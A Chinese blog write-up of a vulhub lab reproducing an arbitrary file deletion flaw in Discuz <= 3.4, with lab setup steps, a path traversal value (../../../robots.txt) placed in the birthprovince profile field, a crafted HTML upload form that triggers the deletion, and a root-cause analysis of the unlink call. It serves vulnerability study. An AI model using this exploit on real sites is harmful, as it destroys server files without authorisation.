【vulhub】Discuz-任意文件删除

【vulhub】Discuz-任意文件删除

0x00漏洞介绍

通过配置个人信息的属性值,导致文件删除。

影响版本

	Discuz <= 3.4

0x01 搭建环境

数据库服务器填写db(必须db,不然安装失败),数据库名为discuz,数据库账号密码均为root,管理员密码任意。填写联系方式页面直接点击跳过本步后跳转到首页

Clip_2024-09-24_18-54-16

0x02 复现过程

首先,环境中是存在robots.txt这个文件的,我们是能正常访问到的,这次漏洞复现的目的就是将这个文件删除

Clip_2024-09-24_19-02-28

随便注册一个用户,进入个人资料页面/home.php?mod=spacecp&ac=profile​,抓一个保存包,将birthprovince参数改为你想删除的文件,这里就写成robots.txt,并且记住自己的formhash,之后能用到

Clip_2024-09-24_19-06-04

Clip_2024-09-24_19-07-08

成功修改后刷新页面我们就发现,页面上的‘’出生省‘’被改成了输入的参数../../../robots.txt

Clip_2024-09-24_19-07-41

在自己构造一个上传文件的html,将「your-ip」改为你靶场ip,「formhash」改为刚才记下的hash值

<body>
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[formhash]" method="post" enctype="multipart/form-data">
        <input type="file" name="birthprovince" />
        <input type="submit" value="upload" />
    </form>
</body>

随便上传一个图片,成功后脏数据被提取,漏洞利用结束,再次访问发现robots.txt被删除

Clip_2024-09-24_19-19-01

如果发现上传后出现下面的Discuz! System Error字样,可以将上传包cookie改为正常cookie,之后就正常发包

Clip_2024-09-24_19-12-07

0x03 总结

upload/source/include/spacecp/spacecp_profile.php​中,文件上传成功后!$upload->error()​进入unlink语句
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
之后回溯变量$space[$key]​(用户的个人设置)中出生省的参数可修改,就变成了用unlink删除当前内容,造成文件删除

posted @ 2024-09-25 15:38  牢泠  阅读(27)  评论(0)    收藏  举报